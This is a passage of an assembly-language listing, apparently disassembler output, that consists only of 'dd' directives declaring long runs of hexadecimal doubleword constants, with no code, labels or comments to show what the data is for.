		dd 0E6F70CF9h, 3C3A9685h, 0A2011116h, 0A5F302B3h, 82386203h
		dd 5C1B5EAh, 4CE0AD2Dh,	80DE27AAh, 0B685D47h, 4F19946Dh
		dd 0BFF0709h, 4F5BE83Ch, 325F813Ah, 91FDD2CCh, 134CDE10h
		dd 0D6E35D54h, 2AC808D3h, 89781127h, 0B0625102h, 0D92C145Ah
		dd 752AD25Bh, 0C95A497Eh, 0E780FB03h, 0FC063B53h, 0FE25C706h
		dd 8B1710CFh, 0E94451E9h, 21C1F328h, 446E5A50h,	0E1DC76Dh
		dd 488AC55Eh, 0EC982DA2h, 470484B9h, 6E90F54h, 0B65ED6B0h
		dd 6C7E4253h, 53C15A04h, 0BBE85266h, 6C279DE1h,	0C80B8205h
		dd 0E2300169h, 0CD82F279h, 82038708h, 1DAE4CBh,	0CC555F66h
		dd 5D7761BDh, 99B84579h, 0A10A730h, 0B709FBC5h,	5CC0CD12h
		dd 0BD2E4361h, 38BF6458h, 967E859Ah, 0E81CA01h,	7E3CB752h
		dd 7916AFD0h, 93D4675Ah, 267CB154h, 7459D1FFh, 5D05814Eh
		dd 7B681530h, 0E1F2DA97h, 17285120h, 6C134921h,	0C831E0E0h
		dd 0BEDD1497h, 79350BEFh, 13B555B0h, 87741E2Eh,	0DDD81913h
		dd 8A5A5A54h, 0DE8C4AE7h, 16EE5BE9h, 0D0B7E6EBh, 18792DD4h
		dd 168468D1h, 0F50B10Bh, 67560129h, 65B2F27Ah, 1A60CC23h
		dd 6AB0C50Bh, 895807FCh, 8DE916F9h, 0BC055DEEh,	0C38BDD1h
		dd 0D2989DEh, 3A898151h, 68A4E844h, 7391254Eh, 9B20D478h
		dd 0E7584AD6h, 0E72D5A3Dh, 2D00F56Dh, 20433BEDh, 947BBE56h
		dd 0E96A5909h, 0FE26A13Ch, 2CE180C1h, 0BE20C8C1h, 0E1D1804Eh
		dd 12261B90h, 291A3C8Eh, 8AC4C0BCh, 0CC80A35Bh,	43E999C1h
		dd 0FD848257h, 65E447C2h, 0C1ED3088h, 49008E8h,	526B6814h
		dd 6256D6BDh, 0D3F76861h, 9220CA3Ah, 1110CDF2h,	0BBE0074h
		dd 81473C06h, 76E401E6h, 0F2E96220h, 4D616B12h,	4D814211h
		dd 0C68059EEh, 262F308Ah, 90F30180h, 0A3EB4ABFh, 3AE77919h
		dd 0EFD7A134h, 0C901E535h, 66D85F80h, 0B9C7C03Ah, 645A7673h
		dd 6B027C53h, 0FEF34B12h, 114F991h, 80053419h, 32B05FCh
		dd 0A4A48h, 25A64F3Bh, 2FE9FB01h, 0D0696ED9h, 0D50D61C4h
		dd 0E341D6EFh, 0D69328F8h, 524F9B01h, 6306FB2h,	0DD199DCFh
		dd 0F25C125Dh, 45229D9Eh, 0F00FD15h, 0A8CA6784h, 454EEEEh
		dd 0E901AA4Fh, 0BAF8B0A6h, 506CE70Fh, 0C21D4903h, 0C843F126h
		dd 0A1D12AA4h, 8BAE4D20h, 0D126880Ah, 0DF24591Dh, 0BAEF6800h
		dd 0B0C2897Bh, 90F200ADh, 0C147936Ah, 54B002E2h, 452B8E2Fh
		dd 52A608C1h, 87D9F609h, 0BFA508EFh, 975F23B0h,	56153847h
		dd 0E4EEC95Ah, 91879489h, 2E2A6002h, 0D07E4C66h, 8418E52h
		dd 95E95F8Eh, 0E0BBB852h, 96D3015Dh, 0C68850D7h, 50B95138h
		dd 902C133h, 127F418h, 1CD42D9h, 59318808h, 3AC1D031h
		dd 6644F1B3h, 0ECF280D0h, 556156FAh, 719F351Ah,	0D8F7A1CBh
		dd 203C920h, 9AD1505h, 68F429E2h, 1C2A7308h, 0A6115568h
		dd 0A9488725h, 252C66F7h, 0BB087F1Dh, 27127C6h,	0BE36E9E3h
		dd 2C10123h, 5A5FC34Ah,	0A962E29h, 0F8683570h, 25B4A624h
		dd 0C57B0B89h, 5B4B2884h, 83B2756Eh, 772745F3h,	0BBCC8B40h
		dd 239C0464h, 0B91D2C0Fh
		dd 3C08412Ah, 7EA9A4E3h, 0D9F5465Ah, 9B51825h, 7F86001Eh
		dd 2672C250h, 62555C29h, 0FB68D5E9h, 0B005DBBDh, 0EA29CF65h
		dd 6ADAF719h, 4AC2B048h, 2512306Bh, 6D4AF921h, 5A68470Fh
		dd 51A98411h, 7E16FC54h, 0D9F2A4CBh, 0B850EEA8h, 61329400h
		dd 0B7792D3Bh, 0E9E1160Eh, 5B2940AAh, 0BFB35351h, 0E52E7BB8h
		dd 0E906A188h, 218F575Eh, 15BC3D97h, 35A84075h,	36F1255Dh
		dd 9DBC8BE0h, 3A5E5C91h, 0E2BD9564h, 200FE9C2h,	6EEEAED2h
		dd 7C61A13Bh, 0DBE31425h, 5850A7B4h, 4C90230Bh,	355B0753h
		dd 5D2ACF72h, 0C5C8708Bh, 4A00EDC3h, 0D9314D72h, 0A80F6FE9h
		dd 1628CFF2h, 0E02B2108h, 185817C9h, 0F801062Ch, 40F4515Fh
		dd 0DEFE4661h, 10B22FF0h, 7B89BF07h, 2DA27A80h,	810D000Eh
		dd 9BB0A669h, 291CEB30h, 9F01E23h, 1C78308h, 7BE9C860h
		dd 0D7791058h, 0ACCEE9A2h, 0FA011630h, 31A70B00h, 975F1A67h
		dd 5490F9E6h, 8EC9C54Ah, 64893A29h, 874E0620h, 0D548F7EEh
		dd 70CB4BF0h, 0A7842024h, 9CFA154Eh, 0B900AE9Eh, 0FF64C71h
		dd 5BF10781h, 6043CD09h, 846F7BE1h, 440C3D60h, 4A4DCB1Bh
		dd 6BC1A251h, 0D30A200Bh, 176A8572h, 0C062E94Bh, 5E5C114h
		dd 0F2C89BBFh, 16EA745Bh, 75800766h, 0EF31501Dh, 89F4505Dh
		dd 0C106F865h, 5F4ABBA9h, 47539F26h, 6527E8BBh,	69F80421h
		dd 8C00133Ch, 5DFB6C2h,	41FB9885h, 0E0603A16h, 5BB36857h
		dd 0E9628851h, 4713AF4Bh, 34BEE434h, 4DC80303h,	19DDE26h
		dd 7B3BC58Eh, 8C0C8252h, 781FA51Dh, 5CCC7B4h, 0E941D146h
		dd 0C2287Fh, 0C480CCFEh, 0F5E4C08Eh, 3D96F4D8h,	0EC80DCF6h
		dd 0E9E3286Ch, 3FB43142h, 2A93BA60h, 81610165h,	0E779CFEAh
		dd 32D2020h, 0C377C49Dh, 36076808h, 0E1D5A5C4h,	0E68000CCh
		dd 0EEC017EDh, 81750608h, 0D11318BFh, 400539EAh, 3A5C497Ch
		dd 8153EBC6h, 3CF70BF4h, 50857363h, 5B070BF2h, 5D3F6510h
		dd 60A33AD3h, 0DE885207h, 54F64366h, 0CB8481DCh, 34520764h
		dd 0A80853ABh, 0CA1D20FDh, 5BFA2850h, 0F43629B7h, 0EE28266Ah
		dd 0C9B202C9h, 0ED4213FEh, 7EB91A61h, 0BBC62463h, 2D3D1576h
		dd 762D64h, 3BC18065h, 59CF3828h, 4E5BFA1Eh, 0D70638C2h
		dd 0B3A1945Ah, 3D672EFDh, 43986995h, 0F3174B83h, 0A1207997h
		dd 875B5F5Ch, 370E92FFh, 5E130DD1h, 10BF010Bh, 58080D9Ah
		dd 0F32C0CE0h, 4B08204Eh, 4868CA5Eh, 9AE22AE5h,	79EFD058h
		dd 4A20DF2Dh, 80ACC033h, 0DC6881C6h, 4D4CB722h,	0CC102FD6h
		dd 740FA2D4h, 44C66231h, 400EB075h, 31090158h, 0D8215FFBh
		dd 0E16705Bh, 3E08DF94h, 6270CE1Ch, 0A063A05Dh,	2255E7DBh
		dd 19F9089h, 1D38D1C7h,	7A52E940h, 97326F58h, 70A90522h
		dd 4535F968h, 641B1FDDh, 330292ACh, 0D35C37B0h,	5E1C6BF3h
		dd 5700AA10h, 2F22DEBFh, 0FD2F3150h, 428AE85Fh,	90A776DCh
		dd 58F99078h, 93809B67h, 3541BD4Dh, 927DEF0Eh, 331CA05Ah
		dd 4FE96976h, 868D018Fh, 38D3F6D8h, 4DCE15E8h, 590509ABh
		dd 5160294Fh, 480B49B8h, 0D5E12FC8h, 42BC0D1Eh,	0B65272D6h
		dd 8334F7B7h, 0F3EDB80Ch, 664EEA68h, 5B51795Ah,	0FA84C438h
		dd 0B92C762Dh, 8968F9A5h, 9918CEE9h, 588C02FEh,	11E05072h
		dd 0D194B58Eh, 0DA595E4Fh, 2D7B5ED5h, 104A238Dh, 0A648A935h
		dd 216ABA05h, 4F18800Dh, 0C003B6Bh, 5C4EE381h, 5BE91964h
		dd 0D82C1302h, 0E7810C7Eh, 2F503974h, 2C65854h,	0FD20E898h
		dd 0AFAC5C0Ch, 0B6316420h, 53BE1C4Ch, 0EAC25702h, 0EDBAA1A3h
		dd 2AF21491h, 0C22960C1h, 0E66806FDh, 7011BB2Fh, 25413C53h
		dd 502E515Dh, 91B42EBBh, 66763462h, 7CB705B4h, 0A442EF80h
		dd 10C27F47h, 71F988BAh, 0C9C14F72h, 68C5E966h,	0CBB80158h
		dd 520FAA31h, 0BE64883Bh, 0A53D4878h, 1D62D11h,	393D685Fh
		dd 0C1D5C1BFh, 1221353Fh, 3D4B544Ah, 0ABE0E5B7h, 3980F941h
		dd 0C12A791Dh, 36C3980Dh, 54551E88h, 2E13DBCCh,	20385FBAh
		dd 846DCD66h, 0F6E90313h, 0EBDB2C5h, 0C3805C01h, 3ED828BCh
		dd 800D982Dh, 54D2DE01h, 80012A42h, 3628EA30h, 0C0B6023h
		dd 21161F31h, 0C4D2F72Dh, 2032D668h, 36DC683Ch,	2C97EE9Dh
		dd 4798D1A0h, 0EE013986h, 54734568h, 0DC19C315h, 78C74525h
		dd 0CE2BFBB8h, 11775049h, 3FF89DA8h, 9B796B28h,	0D8AE534Dh
		dd 93F821C9h, 17162674h, 8D8F5362h, 1286135h, 302C7765h
		dd 3AB4A7E8h, 0B3A98FE9h, 0BE2CBD40h, 4A7B685Ah, 0B46C987Ch
		dd 0E6882F02h, 0D027E958h, 0F67ED2F5h, 0E9076385h, 59693B57h
		dd 3E07B72Dh, 8555B5ADh, 1567A119h, 0D400E986h,	630A1286h
		dd 4FF326CCh, 4889B353h, 262A554h, 0EBCA13C3h, 0E94209D6h
		dd 5685A759h, 0C4254C66h, 0E9555418h, 94285ACh,	0E39EEDDh
		dd 0DC626C8Bh, 0EB050358h, 735020E4h, 0B9128E05h, 3EE9090h
		dd 49BFB84Eh, 222503AEh, 0B68FCF71h, 3305E475h,	0C44DD0EDh
		dd 5F642C6Bh, 64222D04h, 0A5820FF5h, 0F9078905h, 2232683h
		dd 58E96F3Ch, 88A5A7D0h, 7D17E1A8h, 230A0A60h, 549DC975h
		dd 10575BE5h, 0A182E4EEh, 59AC540Eh, 2207CFEh, 5A52A02Dh
		dd 399541Ch, 505BDD01h,	0F3C5FE20h, 3E5A393Ah, 0B280ED8Ch
		dd 0F50126DEh, 978C2E93h, 9E02D35Eh, 0F8094F27h, 0FBF1014Ah
		dd 89787E69h, 5CE630C8h, 3BD5580h, 539540C7h, 0E4BFDDB9h
		dd 6545BA7Dh, 38A9F5ACh, 9524A8D3h, 75D8143Ah, 56B2C2D6h
		dd 831261B3h, 342B6D25h, 0AC25802Bh, 0D0B8D06h,	57DA01h
		dd 22181E5Ah, 21BDD62Ah, 3F1ABBC4h, 0DEE2E8D4h,	658B0692h
		dd 849A9FF4h, 2CC21C5Ah, 88D5FC5Fh, 0B90FB271h,	73DF456Bh
		dd 504F8503h, 0D609C28Fh, 0B5C10850h, 80DDF601h, 0EAC1FCEDh
		dd 0C92E30F5h, 0F2FE41CFh, 5F040567h, 61D82AEAh, 0D18495A0h
		dd 68948243h, 0CDE5206h, 56061872h, 0DC5707Ah, 57E8CA89h
		dd 6447ACD2h, 0BD0058F4h, 2DCC38CFh, 2448B1F4h,	78D4B234h
		dd 0E0C1187Eh, 3D919E08h, 5F30AC80h, 68A828D8h,	207F3124h
		dd 110EF489h, 0F6FC8A2Bh, 0AD2B851h, 746E4CC6h,	31FD02D4h
		dd 0DBC31377h, 58082840h, 8A0FA195h, 802A622Fh,	63374D41h
		dd 0CB283A7Ch, 4B0CC0B7h, 6943B2E9h, 766902C7h,	0D7F73FF3h
		dd 680B76FCh, 0E9B4B0ECh, 9DC895A5h, 0B1270F3Ch, 20F65139h
		dd 5D051E92h, 0B93B9264h, 76FBA4DEh, 544D1A36h,	0CFCC94BEh
		dd 417D8A68h, 3C7913BCh, 78B8A960h, 5B6327D1h, 874AA948h
		dd 899C2E10h, 2CE80112h, 672068D7h, 1DE9254Bh, 0A99718Bh
		dd 504BF168h, 14EABD3Ch, 0A605D228h, 0A3184309h, 73DAD004h
		dd 0EDD100F7h, 79A9F581h, 0E9EC7F47h, 914240Ch,	18B60C57h
		dd 64530B5Ah, 2A1F3DC5h, 19270152h, 8E42BEB5h, 72007579h
		dd 61535BE1h, 5EF1291Ah, 4221238h, 59A45D2Eh, 0D1015F66h
		dd 1A3FD61h, 0D9C9CE88h, 0F8805BF8h, 5B21FD8Ah,	0E4C5EF81h
		dd 304FAE46h, 45972C26h, 0E2141639h, 68580493h,	0FDB22165h
		dd 15D2078h, 544A43FAh,	0FE14BF3Dh, 0A5E565FFh,	72E2207Ch
		dd 263BD8B9h, 46F2119h,	0C4B830B6h, 0F553B2C0h,	4C62BA3Dh
		dd 89C2310Bh, 0EE7C6C50h, 85C28220h, 8AE2185Fh,	0D32880E7h
		dd 68BEE992h, 51A3628Bh, 0E879CB38h, 3B31506Dh,	88770843h
		dd 58C145B1h, 0EB0257E3h, 2F7F0C83h, 2CD4D1C1h,	2EF44B9Dh
		dd 82BA9143h, 1C6142C5h, 8C0B9354h, 98E7FA07h, 0DE2DB561h
		dd 0EA4C6A0Ch, 408A5450h
		dd 0E239C0CFh, 8EA8A04h, 0C8358680h, 0EEE6F388h, 0EF37A0E0h
		dd 8310994h, 26804707h,	1FDF354Ch, 4005198h, 643C9F2Dh
		dd 27C72198h, 728399E9h, 0B7FB752Ch, 0F1D9D393h, 0A0643CA2h
		dd 0B2A56850h, 4FE92E9Bh, 7FB7801Ch, 0FE2881B6h, 6ECF5B4Ch
		dd 0EB896753h, 4BC7FE69h, 97D51E05h, 221681BFh,	5D8DE473h
		dd 924A713Fh, 0BBF44DE5h, 1F809DC5h, 8A24A20Ch,	3EB12C5Ch
		dd 1C0AFC2h, 21CA8095h,	86058A40h, 0DFF634FAh, 0F159B008h
		dd 0BF26F362h, 0D426C041h, 0F3E4B501h, 0BABEB5B2h, 1BCAE941h
		dd 0E42CF979h, 0C3A1850h, 6E0713D2h, 6EFC163h, 57B0CFF0h
		dd 0A8774871h, 9655B10h, 5158C101h, 21319297h, 13A22AD3h
		dd 0C9DD93F3h, 7B73C5A1h, 94EA64Fh, 0AB4DE9F7h,	695554B5h
		dd 5127D6DCh, 556F4CE3h, 2D2FAEA1h, 290D12FDh, 990CB3E3h
		dd 0EEC06A04h, 72FAAC01h, 2692E9F2h, 57CB2428h,	5FD02476h
		dd 7C862068h, 42C3E912h, 72936589h, 0EBF4D0BAh,	8A264C77h
		dd 0D818AE12h, 905DED17h, 82305AAAh, 884C5F5h, 6C28FB5Ah
		dd 0EDD2FE9h, 20091265h, 0C2767C55h, 0C0C3B83h,	6EA16975h
		dd 0AB0A17E0h, 1D85069Ch, 0D30AE37Ah, 6913F7E7h, 0F2B4C4A8h
		dd 1A09443h, 519943C4h,	0B96C0BFh, 900FFC31h, 0DBE9825Eh
		dd 0F5A87FE3h, 0AA7A25B6h, 0B6BC0CD2h, 0C2D1259Fh, 0BA7C1A82h
		dd 0A84CF444h, 90205F71h, 9E047836h, 4165258h, 21BC127Ch
		dd 0E2B217EBh, 0AA05806Dh, 9F03E910h, 832FBA14h, 61D8EAEAh
		dd 7074341Dh, 0C42517B0h, 5B6C800Ch, 813E456Ah,	4F5A8EC3h
		dd 65E3C012h, 9017A454h, 8EDEDC2Ch, 8E551ADh, 305AB413h
		dd 0BD16C87Bh, 961CDF09h, 0B38F3FDh, 0AEA426D4h, 0E9FEA12Dh
		dd 5D7BF3F5h, 2A7BCCDBh, 480CE747h, 0C37AF14h, 5A78109Dh
		dd 6B4A0525h, 71F04C71h, 0BBFC3C83h, 0F2ECE98Ah, 0BE38925h
		dd 98BC87F9h, 0BA20A878h, 0FA20124Fh, 0B4DA167Ah, 5048E180h
		dd 0B747CC5Dh, 73397CCFh, 0CD60B7B9h, 4A9E59E9h, 264B2016h
		dd 332961ADh, 68820528h, 59E61514h, 2545C69Fh, 0C462FFE9h
		dd 60048F75h, 17F6855h,	3092C477h, 975B0FBEh, 0CB2098B8h
		dd 3465454Ch, 0D5E87F83h, 0C4BD55A1h, 43483101h, 582B01B1h
		dd 0D5F709E8h, 37B487Dh, 981D8E25h, 2889E931h, 0C29D2BE7h
		dd 4E718F2Eh, 0B32E01CBh, 6669601h, 0B68A035h, 0DB3ADA25h
		dd 0F71830A1h, 0E9157D19h, 93BA416h, 16545758h,	0A1555E60h
		dd 80D3FDB6h, 2B85CE3Eh, 72F731D4h, 0E6D648DEh,	0F4063400h
		dd 32EEE967h, 163129BAh, 5E33A123h, 98D3FD69h, 3C4BF831h
		dd 4C09DA56h, 202EC2D3h, 2167EFFFh, 4D6A7D3Bh, 0B0582E48h
		dd 7A7DE05Bh, 0C203F41h, 14650643h, 0B47BD36h, 0E5A6314Fh
		dd 0A6EE0113h, 0AF081880h, 62C15A6Ch, 5F9B12E2h, 14EB225Dh
		dd 489D5CEFh, 5A6858BFh, 0E7E988FBh, 0D9EB8132h, 3171F328h
		dd 300A6440h, 5227D877h, 0B698A241h, 0CA92DFCAh, 57E3285Fh
		dd 2787F24Bh, 1A51DAF1h, 0D3FA9D19h, 0C367C8D6h, 2230BF9Eh
		dd 0C697343Ch, 0E52F61E4h, 0E1A6B252h, 6D402E9Eh, 0BD9147EFh
		dd 0C3895868h, 843CC74Bh, 0B1C91EECh, 9C64676h,	36741B87h
		dd 7C87D28Eh, 4F80090Dh, 284C94F5h, 0D5682F0Bh,	201BE63Ch
		dd 0F4D2B522h, 2F5B9718h, 983FEC50h, 19920AFh, 5995F5A0h
		dd 672EDB26h, 125D6B08h, 968CAC5Ch, 171BB6F9h, 0D60BF7D0h
		dd 1D788D8h, 5BF92833h,	0B7EB43CEh, 2638FEC9h, 9CD13CBEh
		dd 5A7E4664h, 0E5E6933Eh, 96C6C4C2h, 0CD111E1Eh, 61F1C2E7h
		dd 0B152A2A5h, 62347AB9h, 0F30FCE50h, 6805B371h, 6AE8313Eh
		dd 39C886C6h, 0DAA569B9h, 0CA292CA8h, 4EDC10C8h, 911035A3h
		dd 9BE3B60h, 9376C2Ch, 6F76598Dh, 9674E98Bh, 0A76F515Ah
		dd 0D6F2D746h, 0F1215A14h, 6DE52636h, 0A31AD7A6h, 4F06D9B1h
		dd 905057CBh, 76BF8980h, 18E37112h, 3292D11Fh, 0C300935Ch
		dd 2C0FB050h, 5E8AF806h, 0E5C8CD08h, 30F65F0h, 0DBE86ABh
		dd 6045BF02h, 543141CCh, 4142125Bh, 47850F1Ah, 0ECB62449h
		dd 9EC55244h, 0E2D109A1h, 545A5454h, 0E0A944F9h, 0EB01D127h
		dd 5049F381h, 0E320308Bh, 9DB31339h, 5BD6FC9Bh,	0E4078081h
		dd 57358C6Fh, 25F24CBFh, 0EEF94727h, 19AAA56Fh,	0EDF6F240h
		dd 5C0E9F3Bh, 0EA052E46h, 0D54CBF3Dh, 9F5CF913h, 690E716h
		dd 64FA5DD6h, 9CD74C3Dh, 19E458F9h, 3E886194h, 0BC630E5h
		dd 4448516Eh, 55D3055Eh, 0B004683Dh, 891FD235h,	0B38565B5h
		dd 0EF92343Ah, 85ED582Ch, 5CE5B88h, 0A80F0268h,	231EC142h
		dd 0E6306C36h, 0D9F70E01h, 2EC38141h, 0AEEC4698h, 89017213h
		dd 19E84F38h, 60F9A930h, 0B3F7BBC2h, 28BA8514h,	965CE209h
		dd 7D570078h, 0F8555A2Bh, 20EA03F2h, 0D7310D01h, 24E457D2h
		dd 225C6D2Fh, 205FA7D3h, 730BD9C7h, 140C5D60h, 5A999CD6h
		dd 0E844657h, 0B8007EA5h, 55ED7A32h, 0B002E8C1h, 9D230273h
		dd 63E99122h, 295AC4F8h, 0F8C12282h, 0E2201257h, 2E710558h
		dd 30CEBC08h, 5BB92D6Fh, 70FD2846h, 4E820E82h, 89AB4A08h
		dd 23ACB570h, 5331B00Fh, 0E997A252h, 773E6BF6h,	1BBC255Ah
		dd 1CC91AF2h, 529F5C17h, 4DBD3D50h, 5F20289Dh, 63D49C9h
		dd 80C9FF5Ch, 0EF1DE395h, 0D0F72D15h, 350388D0h, 421C4384h
		dd 9821CD01h, 5F00CAD2h, 0DD05C981h, 495C8C2Eh,	0E1C1FA43h
		dd 8063002h, 0BFEBFCF6h, 0AFC3305Fh, 411FDC82h,	9322D7C2h
		dd 2E03ED37h, 79BD1103h, 4002E22Ch, 0B236D42h, 0C8E9193Fh
		dd 91B84CA7h, 0E8143456h, 5F9E0C38h, 0E63A04C9h, 0F0129A10h
		dd 8292A248h, 0ED595451h, 35C8273Bh, 0E39102BFh, 79A58B9Eh
		dd 0CDF6C99Eh, 62AC7969h, 6C6B520h, 0E0275579h,	783A683Eh
		dd 6DEB4C2Eh, 0F419F27h, 60313164h, 0D22568CAh,	245A6469h
		dd 0C2FE9ADBh, 0FC441158h, 2D1DCD60h, 75672EDAh, 383A0162h
		dd 0C8013F5Ah, 5A074705h, 0BE90B11h, 0E00042ABh, 561A1B1Ch
		dd 0F4014C98h, 0E94C6E1Eh, 0C99A0E29h, 325C639Ch, 4EEFE08Bh
		dd 17DCB1D2h, 5E36B036h, 0CAD7012Dh, 0FF22D563h, 5AD17382h
		dd 2C03FC88h, 836715F1h, 0A0C15C1Bh, 28201BF9h,	0FC8A92D6h
		dd 28CE6802h, 0A3827239h, 0B408301Bh, 1F804416h, 16D38859h
		dd 425C045Ah, 4D7A68FDh, 15A0B261h, 80F61680h, 0FC19BAF2h
		dd 0F7105DEDh, 0E168057Eh, 0AC4E0A4Ah, 1B7C04F2h, 44C078C7h
		dd 616B6421h, 36CB1818h, 0A7C9E64Bh, 0ADE17456h, 37E56311h
		dd 923AE985h, 1BFF5340h, 705EE25Bh, 0A05948D8h,	0D6B00728h
		dd 0C91CB2A4h, 3934192Dh, 5814064h, 0C55F45CAh,	0A419C534h
		dd 3002F523h, 8965AD7Ch, 0C68940EEh, 0B9281621h, 0B44D037Eh
		dd 0FBA73213h, 1203460Ah, 6F4E0B8Fh, 8A0DD76h, 0B28BE913h
		dd 5C89DBB8h, 5F88C6F4h, 0B029175Ah, 0D6419AF3h, 2CF01689h
		dd 0CC086676h, 4BE0314h, 5E8E1923h, 5A713F27h, 45D30B28h
		dd 8C291731h, 7554A983h, 0B9511890h, 0CF1B3E02h, 6BD1F709h
		dd 0C04E09A9h, 1A0403EDh, 90F981Dh, 10B21B4Fh, 92C1BD92h
		dd 0A1A4A90Bh, 58C13141h, 1FB8F1FCh, 8B674D55h,	35A23592h
		dd 7C513A3Eh, 0B20D3C82h, 555BE27Fh, 0AF2D7F04h, 0D438442Dh
		dd 0AC55A0B5h, 1E58BCB8h, 8E6F3FD3h, 0D8C17E9Ah, 9746ABCCh
		dd 401282B3h, 97B1B6B4h, 2FE9CEC0h, 0C8DBC1B8h,	0F206E6A4h
		dd 209C093Eh, 16B7B47Bh, 0A3544A74h, 64E912F2h,	168AF457h
		dd 94650A4Ch, 8564FD3Ch
		dd 0CC005D54h, 7A281AA3h, 0FB059E9h, 0A200C15Eh, 0BA6D803Fh
		dd 3BFB6FEAh, 0B2D64E09h, 97C6C709h, 1CEB0B0h, 1D949FF2h
		dd 0DCCCC2F6h, 20E2685h, 3F5F6856h, 10D57176h, 13FDBF7Dh
		dd 0B155DD12h, 0C7CAF715h, 2CD09290h, 1137726h,	19FE700Ch
		dd 10DA0FC1h, 666564DFh, 7CAF8B30h, 84024F4Ah, 765DEB29h
		dd 0D30C69FAh, 7FED5209h, 18F441Eh, 0C8BFFD54h,	97FB167Ch
		dd 58C84D22h, 0E65E4BB5h, 86A39286h, 87C1D535h,	0A9C0056Bh
		dd 611325B2h, 293A5DCBh, 501E9A78h, 8923F440h, 0DA94BBD4h
		dd 84D25F6h, 471685C8h,	94D21DF3h, 12B58236h, 0F509AEC4h
		dd 2D87C87h, 77DC4836h,	0DD18B89Ah, 819D5BDFh, 0BC52E91Ah
		dd 56098054h, 98037281h, 92A0B019h, 805078Ah, 5B50F463h
		dd 0D7A850D6h, 160FC940h, 20ACDE84h, 0E468288Ch, 61DB6A62h
		dd 0A7800755h, 5DF43139h, 8203D9C0h, 1FE9AF0Ch,	951AFFFBh
		dd 0B16E1685h, 95463BB6h, 0D4C35879h, 0CF42EB10h, 4B64F84h
		dd 0EFB84368h, 5DAEB0D3h, 0B5C7D90h, 9160C5Ch, 4028E0D5h
		dd 0A109BD3Bh, 8BDFAAB5h, 899DC5A3h, 4EE6E821h,	70FB23B5h
		dd 877719DBh, 542F8B7Ah, 5969818Ch, 0DF003C9Dh,	8BF0D7D7h
		dd 0A0C32580h, 82EB5552h, 91689910h, 9210793Eh,	7E99B15Eh
		dd 5C249FCFh, 4F43830Fh, 32227C10h, 0F7BA95ECh,	949DACC4h
		dd 89C0B52Ch, 4EB51C60h, 0BBD04A3h, 856DC305h, 6679C1E1h
		dd 4B9EBA31h, 810F6F1h,	0F94CBD68h, 0D94F5F41h,	1E36CA07h
		dd 0AD0ED25Bh, 0AB257C8Ch, 891AD36Eh, 21D19628h, 3471B000h
		dd 7EB353FAh, 2CD84E68h, 8B97C082h, 92E859C3h, 0EF52AEEEh
		dd 627DA9B8h, 21038FC0h, 0B4D6985Fh, 0CAC89739h, 1299CB94h
		dd 0FF29D513h, 0C3119E51h, 7804AB04h, 0C9D53668h, 20D801BDh
		dd 0EB52A6E9h, 528E25FAh, 0BFE5F819h, 1B14A189h, 0CC976892h
		dd 23E91249h, 1429ABAFh, 2E11392Bh, 0D0DCA844h,	64E00113h
		dd 601A1102h, 79093C79h, 8F315F20h, 0E8013309h,	7F9F069Dh
		dd 50752DFCh, 31C3EB95h, 89242958h, 4FC128FBh, 90907D4Fh
		dd 0D05E305Ch, 5658686Dh, 4A8518B5h, 0C195C859h, 2A1A008h
		dd 4F656851h, 0CCBF7466h, 0E66C6440h, 5E14B75Dh, 2CE9ED38h
		dd 873D4C15h, 0DBD3B08Dh, 4460CFF9h, 9872DF20h,	0C1E288BAh
		dd 52023CE7h, 813A1CACh, 0F304312Ch, 68804328h,	0EC7469E2h
		dd 0B2C2A264h, 654107D4h, 2CCD53F7h, 0B50A51A7h, 82E828EAh
		dd 843BD81Fh, 0FF68142Ch, 0D0E971D1h, 5B2F983Ch, 5384F051h
		dd 9A8C0168h, 0BFB440EDh, 0E536E60Bh, 12A75C07h, 7A65B192h
		dd 0C87F4B69h, 53922A34h, 52690C99h, 8380A03Ah,	0BC93B7A0h
		dd 0C8F691C2h, 59CE2800h, 9C53E680h, 0B0D3C799h, 0C628E3EEh
		dd 0FCADCBEBh, 9B46DB6Eh, 51AAD1DDh, 78235640h,	1C4A17h
		dd 5BB75D36h, 1CD0DE29h, 141C6808h, 4DF3310Eh, 7E3008DEh
		dd 24FF8803h, 0C3618713h, 9409DBD1h, 48BE5600h,	0CFB04A3Ah
		dd 17EA7CA4h, 5756353h,	350D3F55h, 9228F987h, 1A99A308h
		dd 15FA48ADh, 6C1F2D00h, 0F0297236h, 0C207A205h, 6152DE93h
		dd 0FC01419Ah, 594FC829h, 41BD29F0h, 900C300Eh,	0F2A23D5Bh
		dd 498DEF81h, 0A6E070F7h, 89234663h, 5DEA91C5h,	20D49697h
		dd 2E6F61A2h, 40EE3548h, 6B4C3EB2h, 7B012FEBh, 6D4C405Eh
		dd 0E92F6B79h, 858BC2A1h, 122011C2h, 1747783Eh,	0A4D6F733h
		dd 0BD678B82h, 2FC1EE79h, 4CEC0566h, 0F916D6D3h, 9628A110h
		dd 91B25402h, 556856B0h, 7B25A9B6h, 63C9A820h, 0B7B4F1C3h
		dd 5A941025h, 0B7C59F7Ah, 0E5162C90h, 0B1C31257h, 5A3D2E8Fh
		dd 4A9D4C90h, 95027CE0h, 664BD14Ch, 4FE04A88h, 9729A92h
		dd 0FE5AD121h, 54570BDBh, 0EB3C5882h, 68505490h, 0BC91EF5Ah
		dd 0D206A859h, 0E6F4F2FBh, 43FF2D45h, 760C6823h, 98E73110h
		dd 0BCFA8916h, 215F0BEBh, 0F7FC87EFh, 297C5631h, 25D803Ah
		dd 575C4D95h, 9F52770h,	0E23D7B64h, 2FD41DE9h, 933DE223h
		dd 0A4E7BC88h, 0E9F58917h, 21B2167Bh, 0B5F749D8h, 0B90CE900h
		dd 80F25434h, 1CB3B45Ah, 17F79473h, 68DCA05Bh, 96ED3E7Ch
		dd 97E12D10h, 5D77F02Ah, 0E5506297h, 992B1AAAh,	94933E5Dh
		dd 0A45B8C3Dh, 548234DFh, 0C8854244h, 91EFF182h, 0FCCB8709h
		dd 0DDA0599Ah, 14706E00h, 548580Dh, 0EB8F1295h,	3663F1F2h
		dd 0AFE93F45h, 0B8306B49h, 5A060B97h, 2C35D22h,	0F353771Eh
		dd 3AF0DA43h, 809776C5h, 81CB29B2h, 8B0BA0EBh, 5905BC0Ch
		dd 0B90CA183h, 291D82Dh, 0E9398A6Bh, 68071385h,	2109E90Bh
		dd 0F2ACC171h, 5451589Bh, 203F4CB5h, 55761491h,	3BFA25EBh
		dd 405628C2h, 80B9B257h, 0C8E0D504h, 0DDBE2C74h, 0E1C05B13h
		dd 73C280EBh, 27EA7ED6h, 0BE52F6E9h, 0E155309h,	0CB41F0CCh
